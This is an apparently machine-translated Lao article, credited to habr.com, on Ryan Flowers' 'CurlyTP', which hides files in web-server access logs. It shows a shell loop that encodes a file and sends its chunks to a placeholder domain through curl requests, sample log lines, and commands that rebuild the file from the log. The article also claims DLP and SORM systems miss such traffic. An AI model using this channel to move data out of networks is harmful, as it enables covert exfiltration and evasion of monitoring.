เบเบฒเบ™เปเบฅเบเบ›เปˆเบฝเบ™เบ‚เปเป‰เบ„เบงเบฒเบกเบฅเบฑเบšเบœเปˆเบฒเบ™เบšเบฑเบ™เบ—เบถเบเบ‚เบญเบ‡เป€เบ„เบทเปˆเบญเบ‡เปเบกเปˆเบ‚เปˆเบฒเบ

เบญเบตเบ‡เบ•เบฒเบกเบ„เปเบฒเบ™เบดเบเบฒเบก Wikipedia, เบเบฒเบ™เบซเบผเบธเบ”เบฅเบปเบ‡เบ—เบตเปˆเบ•เบฒเบเปเบฅเป‰เบงเปเบกเปˆเบ™เป€เบ„เบทเปˆเบญเบ‡เบกเบทเบชเบปเบกเบฎเบนเป‰เบฎเปˆเบงเบกเบ„เบดเบ”เบ—เบตเปˆเป€เบฎเบฑเบ”เบซเบ™เป‰เบฒเบ—เบตเปˆเปƒเบ™เบเบฒเบ™เปเบฅเบเบ›เปˆเบฝเบ™เบ‚เปเป‰เบกเบนเบ™เบซเบผเบทเบšเบฒเบ‡เบฅเบฒเบเบเบฒเบ™เบฅเบฐเบซเบงเปˆเบฒเบ‡เบ„เบปเบ™เบ—เบตเปˆเปƒเบŠเป‰เบชเบฐเบ–เบฒเบ™เบ—เบตเปˆเบฅเบฑเบš. เปเบ™เบงเบ„เบงเบฒเบกเบ„เบดเบ”เปเบกเปˆเบ™เบงเปˆเบฒเบ›เบฐเบŠเบฒเบŠเบปเบ™เบšเปเปˆเป€เบ„เบตเบเบžเบปเบš - เปเบ•เปˆเบžเบงเบเป€เบ‚เบปเบฒเบเบฑเบ‡เปเบฅเบเบ›เปˆเบฝเบ™เบ‚เปเป‰เบกเบนเบ™เป€เบžเบทเปˆเบญเบฎเบฑเบเบชเบฒเบ„เบงเบฒเบกเบ›เบญเบ”เป„เบžเปƒเบ™เบเบฒเบ™เบ”เปเบฒเป€เบ™เบตเบ™เบ‡เบฒเบ™.

เบชเบฐเบ–เบฒเบ™เบ—เบตเปˆเป€เบŠเบทเปˆเบญเบ‡เบšเปเปˆเบ„เบงเบ™เบ”เบถเบ‡เบ”เบนเบ”เบ„เบงเบฒเบกเบชเบปเบ™เปƒเบˆ. เป€เบžเบฒเบฐเบชเบฐเบ™เบฑเป‰เบ™, เปƒเบ™เป‚เบฅเบเบญเบญเบšเป„เบฅเบ™เปŒเบžเบงเบเป€เบ‚เบปเบฒเบกเบฑเบเบˆเบฐเปƒเบŠเป‰เบชเบดเปˆเบ‡เบ—เบตเปˆเบšเปเปˆเบชเบธเบžเบฒเบš: เบ”เบดเบ™เบˆเบตเปˆเบงเปˆเบฒเบ‡เบขเบนเปˆเปƒเบ™เบเบฒ, เบ›เบทเป‰เบกเบซเป‰เบญเบ‡เบชเบฐเบซเบกเบธเบ”, เบซเบผเบทเบฎเบนเบขเบนเปˆเปƒเบ™เบ•เบปเป‰เบ™เป„เบกเป‰.

เบกเบตเบซเบผเบฒเบเป€เบ„เบทเปˆเบญเบ‡เบกเบทเบเบฒเบ™เป€เบ‚เบปเป‰เบฒเบฅเบฐเบซเบฑเบ”เบฅเบฑเบš เปเบฅเบฐ เบเบฒเบ™เบ›เบดเบ”เบšเบฑเบ‡เบŠเบทเปˆเบขเบนเปˆเปƒเบ™เบญเบดเบ™เป€เบ•เบตเป€เบ™เบฑเบ”, เปเบ•เปˆเบ„เบงเบฒเบกเบˆเบดเบ‡เปเบฅเป‰เบงเบ‚เบญเบ‡เบเบฒเบ™เปƒเบŠเป‰เป€เบ„เบทเปˆเบญเบ‡เบกเบทเป€เบซเบผเบปเปˆเบฒเบ™เบตเป‰เบ”เบถเบ‡เบ”เบนเบ”เบ„เบงเบฒเบกเบชเบปเบ™เปƒเบˆ. เบ™เบญเบเบˆเบฒเบเบ™เบฑเป‰เบ™, เบžเบงเบเป€เบ‚เบปเบฒเบญเบฒเบ”เบˆเบฐเบ–เบทเบเบชเบฐเบเบฑเบ”เบขเบนเปˆเปƒเบ™เบฅเบฐเบ”เบฑเบšเบšเปเบฅเบดเบชเบฑเบ”เบซเบผเบทเบฅเบฑเบ”เบ–เบฐเบšเบฒเบ™. เบˆเบฐเป€เบฎเบฑเบ”เปเบ™เบงเปƒเบ”?

เบ™เบฑเบเบžเบฑเบ”เบ—เบฐเบ™เบฒ Ryan Flowers เบชเบฐเป€เบซเบ™เบตเบ—เบฒเบ‡เป€เบฅเบทเบญเบเบ—เบตเปˆเบซเบ™เป‰เบฒเบชเบปเบ™เปƒเบˆ - เปƒเบŠเป‰เป€เบ„เบทเปˆเบญเบ‡เปเบกเปˆเบ‚เปˆเบฒเบเป€เบงเบฑเบšเปƒเบ”เป†เป€เบ›เบฑเบ™เบšเปˆเบญเบ™เป€เบŠเบทเปˆเบญเบ‡. เบ–เป‰เบฒเบ—เปˆเบฒเบ™เบ„เบดเบ”เบเปˆเบฝเบงเบเบฑเบšเบกเบฑเบ™, เป€เบ„เบทเปˆเบญเบ‡เปเบกเปˆเบ‚เปˆเบฒเบเป€เบงเบฑเบšเป€เบฎเบฑเบ”เบซเบเบฑเบ‡? เป„เบ”เป‰เบฎเบฑเบšเบเบฒเบ™เบฎเป‰เบญเบ‡เบ‚เป, เบญเบญเบเป„เบŸเบฅเปŒเปเบฅเบฐเบ‚เบฝเบ™เบšเบฑเบ™เบ—เบถเบ. เปเบฅเบฐโ€‹เบกเบฑเบ™โ€‹เบšเบฑเบ™โ€‹เบ—เบถเบโ€‹เบเบฒเบ™โ€‹เบฎเป‰เบญเบ‡โ€‹เบ‚เปโ€‹เบ—เบฑเบ‡โ€‹เบซเบกเบปเบ”โ€‹, เป€เบ–เบดเบ‡เปเบกเปˆเบ™เบงเปˆเบฒเบšเปเปˆเบ–เบทเบเบ•เป‰เบญเบ‡!

เบกเบฑเบ™ turns เปƒเบซเป‰โ€‹เป€เบซเบฑเบ™โ€‹เบงเปˆเบฒโ€‹เป€เบ„เบทเปˆเบญเบ‡โ€‹เปเบกเปˆโ€‹เบ‚เปˆเบฒเบโ€‹เบ‚เบญเบ‡โ€‹เป€เบงเบฑเบšโ€‹เป„เบŠโ€‹เบ•โ€‹เปŒโ€‹เปƒเบ”โ€‹เบซเบ™เบถเปˆเบ‡โ€‹เบญเบฐโ€‹เบ™เบธโ€‹เบเบฒเบ”โ€‹เปƒเบซเป‰โ€‹เบ—เปˆเบฒเบ™โ€‹เป€เบžเบทเปˆเบญโ€‹เบŠเปˆเบงเบโ€‹เบ›เบฐโ€‹เบขเบฑเบ”โ€‹เป€เบเบทเบญเบšโ€‹เบ—เบธเบโ€‹เบ‚เปเป‰โ€‹เบ„เบงเบฒเบกโ€‹เปƒเบ™โ€‹เบšเบฑเบ™โ€‹เบ—เบถเบ. เบ”เบญเบเป„เบกเป‰เบชเบปเบ‡เป„เบชเบงเปˆเบฒเบˆเบฐเปƒเบŠเป‰เบงเบดเบ—เบตเบ™เบตเป‰เปเบ™เบงเปƒเบ”.

เบฅเบฒเบงเบชเบฐเป€เบซเบ™เบตเบ—เบฒเบ‡เป€เบฅเบทเบญเบเบ™เบตเป‰:

  1. เป€เบญเบปเบฒเป„เบŸเบฅเปŒเบ‚เปเป‰เบ„เบงเบฒเบก (เบ‚เปเป‰เบ„เบงเบฒเบกเบฅเบฑเบš) เปเบฅเบฐเบ„เบดเบ”เป„เบฅเปˆ hash (md5sum).
  2. เบžเบงเบเป€เบฎเบปเบฒเป€เบ‚เบปเป‰เบฒเบฅเบฐเบซเบฑเบ”เบกเบฑเบ™ (gzip+uuencode).
  3. เบžเบงเบเป€เบฎเบปเบฒเบ‚เบฝเบ™เปƒเบชเปˆเบšเบฑเบ™เบ—เบถเบเป‚เบ”เบเปƒเบŠเป‰เบ„เปเบฒเบฎเป‰เบญเบ‡เบ‚เปเบ—เบตเปˆเบšเปเปˆเบ–เบทเบเบ•เป‰เบญเบ‡เป‚เบ”เบเป€เบˆเบ”เบ•เบฐเบ™เบฒเบ•เปเปˆเป€เบ„เบทเปˆเบญเบ‡เปเบกเปˆเบ‚เปˆเบฒเบ.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

เป€เบžเบทเปˆเบญเบญเปˆเบฒเบ™เป„เบŸเบฅเปŒ, เบ—เปˆเบฒเบ™เบˆเปเบฒเป€เบ›เบฑเบ™เบ•เป‰เบญเบ‡เบ›เบฐเบ•เบดเบšเบฑเบ”เบเบฒเบ™เป€เบซเบผเบปเปˆเบฒเบ™เบตเป‰เบขเบนเปˆเปƒเบ™เบฅเปเบฒเบ”เบฑเบšเบ›เบตเป‰เบ™เบเบฑเบšเบเบฑเบ™: เบ–เบญเบ”เบฅเบฐเบซเบฑเบ”เปเบฅเบฐ unzip เป„เบŸเบฅเปŒ, เบเบงเบ”เป€เบšเบดเปˆเบ‡ hash (hash เบชเบฒเบกเบฒเบ”เบ–เบทเบเบชเบปเปˆเบ‡เบœเปˆเบฒเบ™เบŠเปˆเบญเบ‡เป€เบ›เบตเบ”เบขเปˆเบฒเบ‡เบ›เบญเบ”เป„เบž).

เบŠเปˆเบญเบ‡เบซเบงเปˆเบฒเบ‡เบ–เบทเบเปเบ—เบ™เบ—เบตเปˆเบ”เป‰เบงเบ =+=เบ”เบฑเปˆเบ‡เบ™เบฑเป‰เบ™เบšเปเปˆเบกเบตเบŠเปˆเบญเบ‡เบซเบงเปˆเบฒเบ‡เบขเบนเปˆเปƒเบ™เบ—เบตเปˆเบขเบนเปˆ. เป‚เบ›เบฅเปเบเบฅเบก, เบ—เบตเปˆเบœเบนเป‰เบ‚เบฝเบ™เป€เบญเบตเป‰เบ™เบงเปˆเบฒ CurlyTP, เปƒเบŠเป‰เบเบฒเบ™เป€เบ‚เบปเป‰เบฒเบฅเบฐเบซเบฑเบ” base64, เป€เบŠเบฑเปˆเบ™เป„เบŸเบฅเปŒเปเบ™เบšเบญเบตเป€เบกเบฅเปŒ. เบเบฒเบ™เบฎเป‰เบญเบ‡เบ‚เปเปเบกเปˆเบ™เป€เบฎเบฑเบ”เบ”เป‰เบงเบเบ„เปเบฒเบชเปเบฒเบ„เบฑเบ™ ?transfer?เป€เบžเบทเปˆเบญเปƒเบซเป‰เบœเบนเป‰เบฎเบฑเบšเบชเบฒเบกเบฒเบ”เบŠเบญเบเบซเบฒเบกเบฑเบ™เบขเบนเปˆเปƒเบ™เบšเบฑเบ™เบ—เบถเบเป„เบ”เป‰เบขเปˆเบฒเบ‡เบ‡เปˆเบฒเบเบ”เบฒเบ.

เบžเบงเบเป€เบฎเบปเบฒเป€เบซเบฑเบ™เบซเบเบฑเบ‡เบขเบนเปˆเปƒเบ™เบšเบฑเบ™เบ—เบถเบเปƒเบ™เบเปเบฅเบฐเบ™เบตเบ™เบตเป‰?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

เบ”เบฑเปˆเบ‡เบ—เบตเปˆเป„เบ”เป‰เบเปˆเบฒเบงเบกเบฒเปเบฅเป‰เบง, เป€เบžเบทเปˆเบญเปƒเบซเป‰เป„เบ”เป‰เบฎเบฑเบšเบ‚เปเป‰เบ„เบงเบฒเบกเบฅเบฑเบš, เบ—เปˆเบฒเบ™เบˆเปเบฒเป€เบ›เบฑเบ™เบ•เป‰เบญเบ‡เป„เบ”เป‰เบ”เปเบฒเป€เบ™เบตเบ™เบเบฒเบ™เปƒเบ™เบ„เปเบฒเบชเบฑเปˆเบ‡เบ›เบตเป‰เบ™เบเบฑเบšเบเบฑเบ™:

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

เบ‚เบฐเบšเบงเบ™เบเบฒเบ™เปเบกเปˆเบ™เบ‡เปˆเบฒเบเบ—เบตเปˆเบˆเบฐเบญเบฑเบ”เบ•เบฐเป‚เบ™เบกเบฑเบ”. Md5sum เบเบปเบ‡เบเบฑเบ™, เปเบฅเบฐเป€เบ™เบทเป‰เบญเปƒเบ™เบ‚เบญเบ‡เป„เบŸเบฅเปŒเบขเบทเบ™เบขเบฑเบ™เบงเปˆเบฒเบ—เบธเบเบชเบดเปˆเบ‡เบ—เบธเบเบขเปˆเบฒเบ‡เบ–เบทเบเบ–เบญเบ”เบฅเบฐเบซเบฑเบ”เบขเปˆเบฒเบ‡เบ–เบทเบเบ•เป‰เบญเบ‡.

เบงเบดเบ—เบตเบเบฒเบ™เปเบกเปˆเบ™เบ‡เปˆเบฒเบเบ”เบฒเบเบซเบผเบฒเบ. "เบˆเบธเบ”เบ‚เบญเบ‡เบšเบปเบ”เบเบถเบเบซเบฑเบ”เบ™เบตเป‰เปเบกเปˆเบ™เบžเบฝเบ‡เปเบ•เปˆเบเบฒเบ™เบžเบดเบชเบนเบ”เบงเปˆเบฒเป„เบŸเบฅเปŒเบชเบฒเบกเบฒเบ”เบ–เบทเบเป‚เบญเบ™เบœเปˆเบฒเบ™เบ„เปเบฒเบฎเป‰เบญเบ‡เบ‚เปเป€เบงเบฑเบšเป„เบŠเบ•เปŒเป€เบฅเบฑเบเบ™เป‰เบญเบ, เปเบฅเบฐเบกเบฑเบ™เป€เบฎเบฑเบ”เบงเบฝเบเบขเบนเปˆเปƒเบ™เป€เบ„เบทเปˆเบญเบ‡เปเบกเปˆเบ‚เปˆเบฒเบเป€เบงเบฑเบšเปƒเบ”เป†เบ—เบตเปˆเบกเบตเบšเบฑเบ™เบ—เบถเบเบ‚เปเป‰เบ„เบงเบฒเบกเบ—เปเบฒเบกเบฐเบ”เบฒ. เป‚เบ”เบเบžเบทเป‰เบ™เบ–เบฒเบ™เปเบฅเป‰เบง, เบ—เบธเบเป†เป€เบ„เบทเปˆเบญเบ‡เปเบกเปˆเบ‚เปˆเบฒเบเป€เบงเบฑเบšเปเบกเปˆเบ™เบšเปˆเบญเบ™เป€เบŠเบทเปˆเบญเบ‡!โ€ Flowers เบ‚เบฝเบ™.

เปเบ™เปˆเบ™เบญเบ™, เบงเบดเบ—เบตเบเบฒเบ™เป€เบฎเบฑเบ”เบงเบฝเบเบžเบฝเบ‡เปเบ•เปˆเบ–เป‰เบฒเบœเบนเป‰เบฎเบฑเบšเบชเบฒเบกเบฒเบ”เป€เบ‚เบปเป‰เบฒเป€เบ–เบดเบ‡เบšเบฑเบ™เบ—เบถเบเบ‚เบญเบ‡เป€เบ„เบทเปˆเบญเบ‡เปเบกเปˆเบ‚เปˆเบฒเบ. เปเบ•เปˆเบเบฒเบ™เป€เบ‚เบปเป‰เบฒเป€เบ–เบดเบ‡เบ”เบฑเปˆเบ‡เบเปˆเบฒเบงเปเบกเปˆเบ™เบชเบฐเบซเบ™เบญเบ‡เปƒเบซเป‰, เบชเปเบฒเบฅเบฑเบšเบเบฒเบ™เบเบปเบเบ•เบปเบงเบขเปˆเบฒเบ‡, เป‚เบ”เบ hosters เบซเบผเบฒเบ.

เปƒเบŠเป‰เบกเบฑเบ™เปเบ™เบงเปƒเบ”?

Ryan Flowers เป€เบงเบปเป‰เบฒเบงเปˆเบฒเบฅเบฒเบงเบšเปเปˆเปเบกเปˆเบ™เบœเบนเป‰เบŠเปˆเบฝเบงเบŠเบฒเบ™เบ”เป‰เบฒเบ™เบ„เบงเบฒเบกเบ›เบญเบ”เป„เบžเบ”เป‰เบฒเบ™เบ‚เปเป‰เบกเบนเบ™เปเบฅเบฐเบˆเบฐเบšเปเปˆเบฅเบงเบšเบฅเบงเบกเบšเบฑเบ™เบŠเบตเบฅเบฒเบเบŠเบทเปˆเบ‚เบญเบ‡เบเบฒเบ™เบ™เปเบฒเปƒเบŠเป‰เบ—เบตเปˆเป€เบ›เบฑเบ™เป„เบ›เป„เบ”เป‰เบชเปเบฒเบฅเบฑเบš CurlyTP. เบชเปเบฒเบฅเบฑเบšเบฅเบฒเบง, เบกเบฑเบ™เป€เบ›เบฑเบ™เบžเบฝเบ‡เปเบ•เปˆเบซเบผเบฑเบเบ–เบฒเบ™เบ‚เบญเบ‡เปเบ™เบงเบ„เบงเบฒเบกเบ„เบดเบ”เบงเปˆเบฒเป€เบ„เบทเปˆเบญเบ‡เบกเบทเบ—เบตเปˆเบ„เบธเป‰เบ™เป€เบ„เบตเบเบ—เบตเปˆเบžเบงเบเป€เบฎเบปเบฒเป€เบซเบฑเบ™เบ—เบธเบเป†เบกเบทเป‰เบชเบฒเบกเบฒเบ”เบ–เบทเบเบ™เปเบฒเปƒเบŠเป‰เปƒเบ™เบ—เบฒเบ‡เบ—เบตเปˆเบšเปเปˆเบ—เปเบฒเบกเบฐเบ”เบฒ.

เปƒเบ™เบ„เบงเบฒเบกเป€เบ›เบฑเบ™เบˆเบดเบ‡, เบงเบดเบ—เบตเบเบฒเบ™เบ™เบตเป‰เบกเบตเบ‚เปเป‰เป„เบ”เป‰เบ›เบฝเบšเบซเบผเบฒเบเบเบงเปˆเบฒเป€เบ„เบทเปˆเบญเบ‡เปเบกเปˆเบ‚เปˆเบฒเบเบญเบทเปˆเบ™เป† "เป€เบŠเบทเปˆเบญเบ‡" เป€เบŠเบฑเปˆเบ™ Digital Dead Drop เบซเบผเบท PirateBox: เบกเบฑเบ™เบšเปเปˆเบˆเปเบฒเป€เบ›เบฑเบ™เบ•เป‰เบญเบ‡เบกเบตเบเบฒเบ™เบ•เบฑเป‰เบ‡เบ„เปˆเบฒเบžเบดเป€เบชเบ”เปƒเบ™เบ”เป‰เบฒเบ™เป€เบŠเบตเบŸเป€เบงเบตเบซเบผเบทเป‚เบ›เป‚เบ•เบ„เบญเบ™เบžเบดเป€เบชเบ”เปƒเบ”เป† - เปเบฅเบฐเบˆเบฐเบšเปเปˆเป€เบฎเบฑเบ”เปƒเบซเป‰เป€เบเบตเบ”เบ„เบงเบฒเบกเบชเบปเบ‡เปƒเบชเปƒเบ™เบšเบฑเบ™เบ”เบฒเบœเบนเป‰เบ—เบตเปˆเบ•เบดเบ”เบ•เบฒเบกเบเบฒเบ™เบˆเบฐเบฅเบฒเบˆเบญเบ™. เบกเบฑเบ™เป€เบ›เบฑเบ™เป„เบ›เบšเปเปˆเป„เบ”เป‰เบ—เบตเปˆเบฅเบฐเบšเบปเบš SORM เบซเบผเบท DLP เบˆเบฐเบชเบฐเปเบเบ™ URLs เบชเปเบฒเบฅเบฑเบšเป„เบŸเบฅเปŒเบ‚เปเป‰เบ„เบงเบฒเบกเบ—เบตเปˆเบ–เบทเบเบšเบตเบšเบญเบฑเบ”.

เบ™เบตเป‰เปเบกเปˆเบ™เบซเบ™เบถเปˆเบ‡เปƒเบ™เบงเบดเบ—เบตเบเบฒเบ™เบชเบปเปˆเบ‡เบ‚เปเป‰เบ„เบงเบฒเบกเป‚เบ”เบเบœเปˆเบฒเบ™เป„เบŸเบฅเปŒเบเบฒเบ™เบšเปเบฅเบดเบเบฒเบ™. เบ—เปˆเบฒเบ™เบชเบฒเบกเบฒเบ”เบˆเบทเปˆเบˆเปเบฒเบงเบดเบ—เบตเบ—เบตเปˆเบšเปเบฅเบดเบชเบฑเบ”เบเป‰เบฒเบงเบซเบ™เป‰เบฒเบ—เบฒเบ‡เบ”เป‰เบฒเบ™เบšเบฒเบ‡เบšเปˆเบญเบ™เปƒเบŠเป‰เปƒเบ™เบเบฒเบ™เบงเบฒเบ‡ เบงเบฝเบเบ™เบฑเบเบžเบฑเบ”เบ—เบฐเบ™เบฒเปƒเบ™ HTTP Headers เบซเบผเบทเปƒเบ™เบฅเบฐเบซเบฑเบ”เบ‚เบญเบ‡เบซเบ™เป‰เบฒ HTML.

เบเบฒเบ™เปเบฅเบเบ›เปˆเบฝเบ™เบ‚เปเป‰เบ„เบงเบฒเบกเบฅเบฑเบšเบœเปˆเบฒเบ™เบšเบฑเบ™เบ—เบถเบเบ‚เบญเบ‡เป€เบ„เบทเปˆเบญเบ‡เปเบกเปˆเบ‚เปˆเบฒเบ

เปเบ™เบงเบ„เบงเบฒเบกเบ„เบดเบ”เปเบกเปˆเบ™เบงเปˆเบฒเบœเบนเป‰เบžเบฑเบ”เบ—เบฐเบ™เบฒเป€เบงเบฑเบšเป€เบ—เบปเปˆเบฒเบ™เบฑเป‰เบ™เบ—เบตเปˆเบˆเบฐเป€เบซเบฑเบ™เป„เบ‚เปˆ Easter เบ™เบตเป‰, เป€เบžเบฒเบฐเบงเปˆเบฒเบ„เบปเบ™เบ—เปเบฒเบกเบฐเบ”เบฒเบˆเบฐเบšเปเปˆเป€เบšเบดเปˆเบ‡เบซเบปเบงเบ‚เปเป‰เบซเบผเบทเบฅเบฐเบซเบฑเบ” HTML.

เบเบฒเบ™เปเบฅเบเบ›เปˆเบฝเบ™เบ‚เปเป‰เบ„เบงเบฒเบกเบฅเบฑเบšเบœเปˆเบฒเบ™เบšเบฑเบ™เบ—เบถเบเบ‚เบญเบ‡เป€เบ„เบทเปˆเบญเบ‡เปเบกเปˆเบ‚เปˆเบฒเบ

เปเบซเบผเปˆเบ‡เบ‚เปเป‰เบกเบนเบ™: www.habr.com

เป€เบžเบตเปˆเบกเบ„เบงเบฒเบกเบ„เบดเบ”เป€เบซเบฑเบ™